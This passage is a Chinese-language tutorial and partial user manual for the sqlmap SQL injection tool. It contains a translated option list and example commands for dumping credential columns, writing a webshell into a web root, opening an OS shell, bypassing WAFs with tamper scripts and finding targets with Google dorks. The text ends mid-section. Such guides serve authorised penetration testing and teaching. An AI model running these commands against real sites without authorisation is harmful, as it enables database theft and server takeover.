sqlmap 详解
sqlmap 官網:http://sqlmap.org/
sqlmap文檔地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap用戶手冊詳解實用版:http://www.vuln.cn/2035
手動sql 注入:http://blog.csdn.net/u011781521/article/details/53959201
sqlmap注入之tamper繞過WAF(Web Application firewall)防火墻過濾:http://www.vuln.cn/2086
http://blog.csdn.net/zgyulongfei/article/details/41017493/? ? ? ??http://www.freebuf.com/articles/web/29942.html
烏云鏡像:http://www.anquan.us/search?keywords=sqlmap&content_search_by=by_drops
注意:sqlmap只是用來檢測和利用sql注入點,并不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。
sqlmap使用 思維導圖:http://download.csdn.net/detail/freeking101/9887831
sqlmap 參數
_____H_____ ___[.]_____ ___ ___ {1.1.3#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _||_|V |_| http://sqlmap.orgUsage: python sqlmap [options]Options(選項):-h, --help 顯示基本幫助信息-hh 顯示高級幫助信息--version 顯示版本號-v VERBOSE 詳細級別:0-6(默認為1).設置輸出信息的詳細程度0:只顯示追蹤棧 ,錯誤以及重要信息。1:還顯示信息和警告。2:顯示debug消息。3:顯示注入payload。4:顯示HTTP請求。5:顯示HTTP響應頭。6:顯示HTTP響應內容Target(目標):以下至少需要設置其中一個選項來提供給目標URL-d DIRECT 直接連接到數據庫的連接字符串。-u URL, --url=URL 目標 URL (e.g. "http://www.site.com/vuln.php?id=1")-l LOGFILE 從Burp或WebScarab代理的日志中解析目標-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 從遠程站點地圖文件(.xml)解析目標(s)-m BULKFILE Scan multiple targets given in a textual file 掃描文本文件中給出的多個目標 -r REQUESTFILE Load HTTP request from a file 從文件加載HTTP請求 -g GOOGLEDORK Process Google dork results as target URLs 處理Google dork的結果作為目標URL-c CONFIGFILE Load options from a configuration INI file 從INI配置文件中加載選項。 Request(請求):這些選項可以用來指定如何連接到目標URL。--method=METHOD Force usage of given HTTP method (e.g. PUT) 強制使用給定的HTTP方法(e.g. PUT) --data=DATA Data string to be sent through POST 通過POST發送的數據字符串 --param-del=PARA.. Character used for splitting parameter values 用于拆分參數值的字符 --cookie=COOKIE HTTP Cookie header value HTTP Cookie頭的值 --cookie-del=COO.. Character used for splitting cookie values 用于分割Cookie值的字符 --load-cookies=L.. File containing cookies in Netscape/wget format 包含Netscape / wget格式的cookie的文件 --drop-set-cookie Ignore Set-Cookie header from response 從響應中忽略Set-Cookie頭 --user-agent=AGENT HTTP User-Agent header value 指定 HTTP User - Agent頭 --random-agent Use randomly selected HTTP User-Agent header value 使用隨機選定的HTTP User - Agent頭--host=HOST HTTP Host header value HTTP主機頭值 --referer=REFERER HTTP Referer header value 指定 HTTP Referer頭 -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") 額外header --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") 額外header --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP認證類型(Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) HTTP認證憑證(name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file HTTP認證 PEM認證/私鑰文件 --ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略HTTP錯誤401(未經授權) --ignore-proxy Ignore system default proxy settings 忽略系統默認代理設置 --ignore-redirects Ignore redirection attempts--ignore-timeouts Ignore connection timeouts--proxy=PROXY Use a proxy to connect to the target URL 使用代理連接到目標網址 --proxy-cred=PRO.. Proxy authentication credentials (name:password) 代理認證證書(name:password) --proxy-file=PRO.. Load proxy list from a file 從文件中加載代理列表 --tor Use Tor anonymity network 使用Tor匿名網絡 --tor-port=TORPORT Set Tor proxy port other than default 設置Tor代理端口而不是默認值 --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) 設置Tor代理類型 --check-tor Check to see if Tor is used properly 檢查Tor是否正確使用--delay=DELAY Delay in seconds between each HTTP request 每個HTTP請求之間的延遲(秒)--timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒超時連接前等待(默認30) --retries=RETRIES Retries when the connection timeouts (default 3) 連接超時時重試(默認值3)--randomize=RPARAM Randomly change value for given parameter(s) 隨機更改給定參數的值(s) --safe-url=SAFEURL URL address to visit frequently during testing 在測試期間頻繁訪問的URL地址 --safe-post=SAFE.. POST data to send to a safe URL POST數據發送到安全URL --safe-req=SAFER.. Load safe HTTP request from a file 從文件加載安全HTTP請求 --safe-freq=SAFE.. Test requests between two visits to a given safe URL 在兩次訪問給定安全網址之間測試請求--skip-urlencode Skip URL encoding of payload data 跳過有效載荷數據的URL編碼 --csrf-token=CSR.. Parameter used to hold anti-CSRF token 參數用于保存anti-CSRF令牌 --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token 提取anti-CSRF URL地址訪問令牌 --force-ssl Force usage of SSL/HTTPS 強制使用SSL / HTTPS --hpp Use HTTP parameter pollution method 使用HTTP參數pollution的方法 --eval=EVALCODE Evaluate provided Python code before the request (e.g. 評估請求之前提供Python代碼 "import hashlib;id2=hashlib.md5(id).hexdigest()")Optimization(優化):這些選項可用于優化SqlMap的性能。-o 打開所有優化開關--predict-output 預測常見的查詢輸出--keep-alive 使用持久的HTTP(S)連接--null-connection 從沒有實際的HTTP響應體中檢索頁面長度--threads=THREADS 最大的HTTP(S)請求并發量(默認為1)Injection(注入):這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)--skip=SKIP Skip testing for given parameter(s) 跳過對給定參數的測試 --skip-static Skip testing parameters that not appear to be dynamic 跳過測試不顯示為動態的參數 --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") 使用正則表達式排除參數進行測試(e.g. "ses")--dbms=DBMS 強制后端的DBMS為此值--dbms-cred=DBMS.. DBMS認證憑證(user:password) --os=OS 強制后端的DBMS操作系統為這個值--invalid-bignum 使用大數字使值無效 --invalid-logical 使用邏輯操作使值無效 --invalid-string 使用隨機字符串使值無效 --no-cast Turn off payload casting mechanism 關閉有效載荷鑄造機制 --no-escape Turn off string escaping mechanism 關閉字符串轉義機制 --prefix=PREFIX 注入payload字符串前綴--suffix=SUFFIX 注入payload字符串后綴--tamper=TAMPER 使用給定的腳本(S)篡改注入數據Detection(檢測):這些選項可用于自定義檢測階段。即這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。--level=LEVEL 執行測試的等級(1-5,默認為1)--risk=RISK 執行測試的風險(0-3,默認為1)--string=STRING 查詢有效時,在頁面匹配字符串。即當查詢被評估為True時,字符串匹配--not-string=NOT.. String to match when query is evaluated to False--regexp=REGEXP 查詢有效時,在頁面匹配正則表達式--code=CODE HTTP code to match when query is evaluated to True--text-only 僅基于在文本內容比較網頁--titles Compare pages based only on their titles 僅根據他們的標題進行比較Techniques(技巧):這些選項可用于調整具體的SQL注入測試。--technique=TECH SQL注入技術測試(默認BEUST)--time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)--union-cols=UCOLS Range of columns to test for UNION query SQL injection 定列范圍用于測試UNION查詢注入 --union-char=UCHAR Character to use for bruteforcing number of columns 用于暴力猜解列數的字符 --union-from=UFROM Table to use in FROM part of UNION query SQL injection 要在UNION查詢SQL注入的FROM部分使用的表--dns-domain=DNS.. Domain name used for DNS exfiltration attack 域名用于DNS漏出攻擊 --second-order=S.. Resulting page URL searched for second-order response 生成頁面的URL搜索為second-order響應 Fingerprint(指紋):-f, --fingerprint Perform an extensive DBMS version fingerprint。 執行檢查廣泛的DBMS版本指紋Enumeration(枚舉):這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的SQL語句-a, --all Retrieve everything-b, --banner Retrieve DBMS banner //檢索數據庫管理系統的標識--current-user Retrieve DBMS current user // 檢索數據庫管理系統當前用戶--current-db Retrieve DBMS current database //檢索數據庫管理系統當前數據庫--hostname Retrieve DBMS server hostname--is-dba Detect if the DBMS current user is DBA //檢測DBMS當前用戶是否DBA--users Enumerate DBMS users //枚舉數據庫管理系統所有的用戶--passwords Enumerate DBMS users password hashes //枚舉數據庫管理系統用戶密碼哈希--privileges Enumerate DBMS users privileges //枚舉數據庫管理系統用戶的權限--roles Enumerate DBMS users roles //枚舉數據庫管理系統用戶的角色--dbs Enumerate DBMS databases //枚舉數據庫管理系統所有數據庫--tables Enumerate DBMS database tables //枚舉的DBMS數據庫中所有的表--columns Enumerate DBMS database table columns //枚舉DBMS數據庫表所有的列--schema Enumerate DBMS schema--count Retrieve number of entries for table(s)--dump Dump DBMS database table entries //轉儲數據庫管理系統的數據庫中的表項--dump-all Dump all DBMS databases tables entries //轉儲所有的DBMS數據庫表中的條目--search Search column(s), table(s) and/or database name(s) //搜索列(S),表(S)和/或數據庫名稱(S)--comments Retrieve DBMS comments-D DB DBMS database to enumerate // 要進行枚舉的指定數據庫名-T TBL DBMS database table(s) to enumerate // 要進行枚舉的指定數據庫表(如:-T tablename –columns)-C COL DBMS database table column(s) to enumerate //要進行枚舉的數據庫列-X EXCLUDECOL DBMS database table column(s) to not enumerate-U USER DBMS user to enumerate //用來進行枚舉的數據庫用戶--exclude-sysdbs Exclude DBMS system databases when enumerating tables //枚舉表時排除系統數據庫--pivot-column=P.. Pivot column name--where=DUMPWHERE Use WHERE condition while table dumping--start=LIMITSTART First query output entry to retrieve //第一個查詢輸出進入檢索--stop=LIMITSTOP Last query output entry to retrieve //最后查詢的輸出進入檢索--first=FIRSTCHAR First query output word character to retrieve //第一個查詢輸出字的字符檢索--last=LASTCHAR Last query output word character to retrieve //最后查詢的輸出字字符檢索--sql-query=QUERY SQL statement to be executed //要執行的SQL語句--sql-shell Prompt for an interactive SQL shell // 提示交互式SQL的shell--sql-file=SQLFILE Execute SQL statements from given file(s)Brute force(野蠻、蠻力):這些選項可以被用來運行蠻力檢查。--common-tables Check existence of common tables // 檢查存在共同表--common-columns Check existence of common columns // 檢查存在共同列User-defined function injection(用戶自定義函數注入):這些選項可以用來創建用戶自定義函數。--udf-inject Inject custom user-defined functions // 注入用戶自定義函數--shared-lib=SHLIB Local path of the shared library // 共享庫的本地路徑File system access(訪問文件系統):這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。--file-read=RFILE Read a file from the back-end DBMS file system // 從后端的數據庫管理系統文件系統讀取文件--file-write=WFILE Write a local file on the back-end DBMS file system // 編輯后端的數據庫管理系統文件系統上的本地文件--file-dest=DFILE Back-end DBMS absolute filepath to write to // 后端的數據庫管理系統寫入文件的絕對路徑Operating system access(操作系統訪問):這些選項可以用于訪問后端數據庫管理系統的底層操作系統。--os-cmd=OSCMD 執行操作系統命令--os-shell Prompt for an interactive operating system shell // 交互式的操作系統的shell--os-pwn Prompt for an OOB shell, Meterpreter or VNC // 獲取一個OOB shell,meterpreter或VNC--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC // 一鍵獲取一個OOB shell,meterpreter或VNC--os-bof Stored procedure buffer overflow exploitation // 存儲過程緩沖區溢出利用--priv-esc Database process user privilege escalation // 數據庫進程用戶權限提升--msf-path=MSFPATH Local path where Metasploit Framework is installed // Metasploit Framework本地的安裝路徑--tmp-path=TMPPATH Remote absolute path of temporary files directory // 遠程臨時文件目錄的絕對路徑Windows registry access(Windows注冊表訪問):這些選項可以被用來訪問后端數據庫管理系統Windows注冊表。--reg-read 讀一個Windows注冊表項值--reg-add 寫一個Windows注冊表項值數據--reg-del 刪除Windows注冊表鍵值--reg-key=REGKEY Windows注冊表鍵--reg-value=REGVAL Windows注冊表項的值--reg-data=REGDATA Windows注冊表鍵值數據--reg-type=REGTYPE Windows注冊表項值類型General(一般,通用,基本):這些選項可以用來設置一些一般的工作參數。-s SESSIONFILE Load session from a stored (.sqlite) file 保存和恢復檢索會話文件的所有數據 -t TRAFFICFILE Log all HTTP traffic into a textual file 記錄所有HTTP流量到一個文本文件中 --batch Never ask for user input, use the default behaviour 從不詢問用戶輸入,使用所有默認配置。--binary-fields=.. Result fields having binary values (e.g. "digest") 具有二進制值的結果字段 --charset=CHARSET Force character encoding used for data retrieval 強制用于數據檢索的字符編碼--crawl=CRAWLDEPTH Crawl the website starting from the target URL 從目標網址開始抓取網站--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") 正則表達式排除網頁抓取 --csv-del=CSVDEL Delimiting character used in CSV output (default ",") 分隔CSV輸出中使用的字符--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) 轉儲數據的格式--eta Display for each output the estimated time of arrival 顯示每個輸出的預計到達時間--flush-session Flush session files for current target 刷新當前目標的會話文件 --forms Parse and test forms on target URL 在目標網址上解析和測試表單--fresh-queries Ignore query results stored in session file 忽略在會話文件中存儲的查詢結果--hex Use DBMS hex function(s) for data retrieval 使用DBMS hex函數進行數據檢索 --output-dir=OUT.. Custom output directory path 自定義輸出目錄路徑 --parse-errors Parse and display DBMS error messages from responses 解析和顯示響應中的DBMS錯誤消息--save=SAVECONFIG Save options to a configuration INI file 保存選項到INI配置文件 --scope=SCOPE Regexp to filter targets from provided proxy log 使用正則表達式從提供的代理日志中過濾目標--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) 根據有效負載和/或標題(e.g. ROW)選擇測試--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) 根據有效負載和/或標題跳過測試(e.g. BENCHMARK) --update Update sqlmap 更新SqlMap Miscellaneous(雜項):-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") 使用簡短的助記符 --alert=ALERT Run host OS command(s) when SQL injection is found 在找到SQL注入時運行主機操作系統命令 --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") 設置問題答案 --beep 發現SQL注入時提醒--cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap具體的UDF和表清理DBMS --dependencies Check for missing (non-core) sqlmap dependencies 檢查是否缺少(非內核)sqlmap依賴關系--disable-coloring Disable console output coloring 禁用控制臺輸出顏色 --gpage=GOOGLEPAGE Use Google dork results from specified page number 使用Google dork結果指定頁碼 --identify-waf Make a thorough testing for a WAF/IPS/IDS protection 對WAF / IPS / IDS保護進行全面測試 --mobile Imitate smartphone through HTTP User-Agent header --offline Work in offline mode (only use session data) 在離線模式下工作(僅使用會話數據) --purge-output Safely remove all content from output directory 安全地從輸出目錄中刪除所有內容 --skip-waf Skip heuristic detection of WAF/IPS/IDS protection 跳過啟發式檢測WAF / IPS / IDS保護 --smart Conduct thorough tests only if positive heuristic(s) 只有在正啟發式時才進行徹底測試 --sqlmap-shell Prompt for an interactive sqlmap shell--tmp-dir=TMPDIR Local directory for storing temporary files--web-root=WEBROOT Web server document root directory (e.g. "/var/www")--wizard Simple wizard interface for beginner users 給初級用戶的簡單向導界面
sqlmap簡介
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
當給sqlmap這么一個url的時候,它會:
? ? ? ? 1、判斷可注入的參數
? ? ? ? 2、判斷可以用那種SQL注入技術來注入
? ? ? ? 3、識別出哪種數據庫
? ? ? ? 4、根據用戶選擇,讀取哪些數據
sqlmap支持五種不同的注入模式:
1、基于布爾的盲注,即可以根據返回頁面判斷條件真假的注入。 2、基于時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。 3、基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。 4、聯合查詢注入,可以使用union的情況下的注入。 5、堆查詢注入,可以同時執行多條語句的執行時的注入。
sqlmap支持的數據庫
? ? ? ? sqlmap支持的數據庫有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
目標
可以提供一個簡單的URL,Burp或WebScarab請求日志文件,文本文檔中的完整http請求或者Google的搜索,匹配出結果頁面,也可以自己定義一個正則來判斷那個地址去測試。
測試GET參數,POST參數,HTTP Cookie參數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數來測試。
可以設定HTTP(S)請求的并發數,來提高盲注時的效率。
Youtube上有人做的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
可以點擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。
也可以使用git來獲取sqlmap
如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數據的,可以使用-v參數。
共有七個等級,默認為1:
0、只顯示python錯誤以及嚴重的信息。 1、同時顯示基本信息和警告信息。(默認) 2、同時顯示debug信息。 3、同時顯示注入的payload。 4、同時顯示HTTP請求。 5、同時顯示HTTP響應頭。 6、同時顯示HTTP響應頁面。 如果你想看到sqlmap發送的測試payload最好的等級就是3。
檢測注入
基本格式( URL 需要使用 英文雙引號 引起來 )
sqlmap -u "http://www.vuln.cn/post.php?id=1" //默認使用level1檢測全部數據庫類型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level=3 //指定數據庫類型為mysql,級別為3(共5級,級別越高,檢測越全面)
跟隨302跳轉
當注入頁面錯誤的時候,自動跳轉到另一個頁面的時候需要跟隨302,當注入錯誤的時候,先報錯再跳轉的時候,不需要跟隨302。目的就是:要追蹤到錯誤信息。
cookie注入
當程序有防get注入的時候,可以使用cookie注入
sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2 (只有level達到2才會檢測cookie)
從post數據包中注入
可以使用burpsuite或者temperdata等工具來抓取post包sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql 指定username參數
注入成功后
獲取數據庫基本信息
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs 查詢有哪些數據庫 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables 查詢test數據庫中有哪些表 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns 查詢test數據庫中admin表有哪些字段 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump dump出字段username與password中的數據
從數據庫中搜索字段
sqlmap -r "c:\tools\request.txt" --dbms=mysql -D dedecms --search -C admin,password 在dedecms數據庫中搜索字段admin或者password。
讀取與寫入文件
首先找需要網站的物理路徑,其次需要有可寫或可讀權限。--file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑) --file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell) --file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑 #示例: sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest="e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"使用shell命令:sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell 接下來指定網站可寫目錄: "E:\php\htdocs\dvwa"#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver可以列目錄,不能讀寫文件,但需要一個(xp_dirtree函數)
sqlmap詳細命令:
- –is-dba 當前用戶權限(是否為root權限)
- –dbs 所有數據庫
- –current-db 網站當前數據庫
- –users 所有數據庫用戶
- –current-user 當前數據庫用戶
- –random-agent 構造隨機user-agent
- –passwords 數據庫密碼
- –proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理
- –time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)
——————————————————————————————————
sqlmap用戶手冊
獲取目標方式
目標URL
參數:-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
本地測試結果截圖
也可以從Burp或者WebScarab代理中獲取日志
參數:-l
可以直接把 Burp proxy 或者 WebScarab proxy 中的日志直接倒出來交給 sqlmap 來一個一個檢測是否有注入。
從文本中獲取多個目標掃描
參數:-m
文件中保存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1* 從文件中加載HTTP請求參數:-r
sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數(比如cookie,POST數據,等等)。
比如文本文件內如下:
POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0id=1當請求是HTTPS的時候你需要配合這個--force-ssl參數來使用,或者你可以在Host頭后面加上:443
處理Google的搜索結果
參數:-g
sqlmap可以測試注入Google的搜索結果中的GET參數(只獲取前100個結果)
例子:
python sqlmap.py -g "inurl:\".php?id=1\""(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)。此外可以使用-c參數加載sqlmap.conf文件里面的相關配置。
請求
http數據
參數:--data
此參數是把數據以POST方式提交,sqlmap會像檢測GET參數一樣檢測POST的參數。
例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數拆分字符
參數:--param-del
當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數。
例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie頭
參數:--cookie,--load-cookies,--drop-set-cookie
這個參數在以下兩個方面很有用:
1、web應用需要登陸的時候。
2、你想要在這些頭參數中測試SQL注入時??梢酝ㄟ^抓包把cookie獲取到,復制出來,然后加到--cookie參數里。在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取并且在以后的請求中加入,并且會嘗試SQL注入。如果你不想接受Set-Cookie可以使用--drop-set-cookie參數來拒接。當你使用--cookie參數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的參數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie參數。
HTTP User-Agent頭
參數:--user-agent,--random-agent
默認情況下sqlmap的HTTP請求頭中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 可以使用--user-anget參數來修改,同時也可以使用--random-agnet參數來隨機的從./txt/user-agents.txt中獲取。當--level參數設定為3或者3以上的時候,會嘗試對User-Angent進行注入。HTTP Referer頭
參數:--referer
sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候會嘗試對referer注入。
額外的HTTP頭
參數:--headers
可以通過--headers參數來增加額外的http頭
HTTP認證保護
參數:--auth-type,--auth-cred
這些參數可以用來登陸HTTP的認證保護支持三種方式:1、Basic 。2、Digest 。3、NTLM
例子:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP協議的證書認證
參數:--auth-cert
當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file,cert_file。key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。
HTTP(S)代理
參數:--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式為:http://url:port。
當HTTP(S)代理需要認證是可以使用--proxy-cred參數:username:password。
--ignore-proxy拒絕使用本地局域網的HTTP(S)代理。
HTTP請求延遲
參數:--delay
可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的。
設定超時時間
參數:--timeout
可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,默認是30秒。
設定重試超時
參數:--retries
當HTTP(S)超時時,可以設定重新嘗試連接次數,默認是3次。
設定隨機改變的參數值
參數:--randomize
可以設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣。
利用正則過濾目標網址
參數:--scope
例如:python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免過多的錯誤請求被屏蔽
參數:--safe-url,--safe-freq
有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以后無法進行。
繞過這個策略有兩種方式:
1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。 2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一邊安全連接。 關掉URL參數值編碼參數:--skip-urlencode
根據參數位置,他的值默認將會被URL編碼,但是有些時候后端的web服務器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用--skip-urlencode參數。
每次請求時候執行自定義的python代碼
參數:--eval
在有些時候,需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用--eval參數在每次請求時根據所寫python代碼做完修改后請求。
例子:python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請求就是每次請求時根據id參數值,做一次md5后作為hash參數的值。
注入
測試參數
參數:-p,--skip
sqlmap默認測試所有的GET和POST參數,當--level的值大于等于2的時候也會測試HTTP Cookie頭的值,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數設置想要測試的參數。例如: -p "id,user-anget" ? 當你使用--level的值很大但是有個別參數不想測試的時候可以使用--skip參數。
例如:--skip="user-angent.referer"
在有些時候web服務器使用了URL重寫,導致無法直接使用sqlmap測試參數,可以在想測試的參數后面加*
例如:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap將會測試value1的位置是否可注入。
指定數據庫
參數:--dbms
默認情況系sqlmap會自動的探測web應用后端的數據庫是什么,sqlmap支持的數據庫有:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定數據庫服務器系統
參數:--os
默認情況下sqlmap會自動的探測數據庫服務器系統,支持的系統有:Linux、Windows。
指定無效的大數字
參數:--invalid-bignum
當你想指定一個報錯的數值時,可以使用這個參數,例如默認情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。
指定無效的邏輯
參數:--invalid-logical
原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。
注入payload
參數:--prefix,--suffix
在有些環境中,需要在注入的payload的前面或者后面加一些字符,來保證payload的正常執行。
例如,代碼中是這樣調用數據庫的:$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時你就需要--prefix和--suffix參數了:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執行的SQL語句變成:$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的數據
參數:--tamper
sqlmap除了使用CHAR()函數來防止出現單引號之外沒有對注入的數據修改,你可以使用--tamper參數對數據做修改來繞過WAF等設備。
下面是一個tamper腳本的格式:
# Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload):'''Description of your tamper script'''retVal = payload# your code to tamper the original payload# return the tampered payloadreturn retVal可以查看 tamper/ 目錄下的有哪些可用的腳本.?例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3探測
探測等級
參數:--level
共有五個等級,默認為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式添加自己的payload。這個參數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試??傊谀悴淮_定哪個payload或者參數為注入點的時候,為了保證全面性,建議使用高的level值。
風險等級
參數:--risk
共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。
頁面比較
參數:--string,--not-string,--regexp,--code
默認情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因為有的頁面在每次刷新的時候都會返回不同的代碼,比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯誤頁面中不存在(使用--string參數添加字符串,--regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯誤頁面中存在的字符串(--not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,可以添加參數--code=200。
參數:--text-only,--titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪里可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標簽中不同)
注入技術
測試是否是注入
參數:--technique
這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式。支持的探測方式如下:
B: Boolean-based blind SQL injection(布爾型注入) E: Error-based SQL injection(報錯型注入) U: UNION query SQL injection(可聯合查詢注入) S: Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基于時間延遲注入) 設定延遲注入的時間參數:--time-sec
當使用繼續時間的盲注時,時刻使用--time-sec參數設定延時時間,默認是5秒。
設定UNION查詢字段數
參數:--union-cols
默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level為5的時候他會增加測試到50個字段數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數
設定UNION查詢使用的字符
參數:--union-char
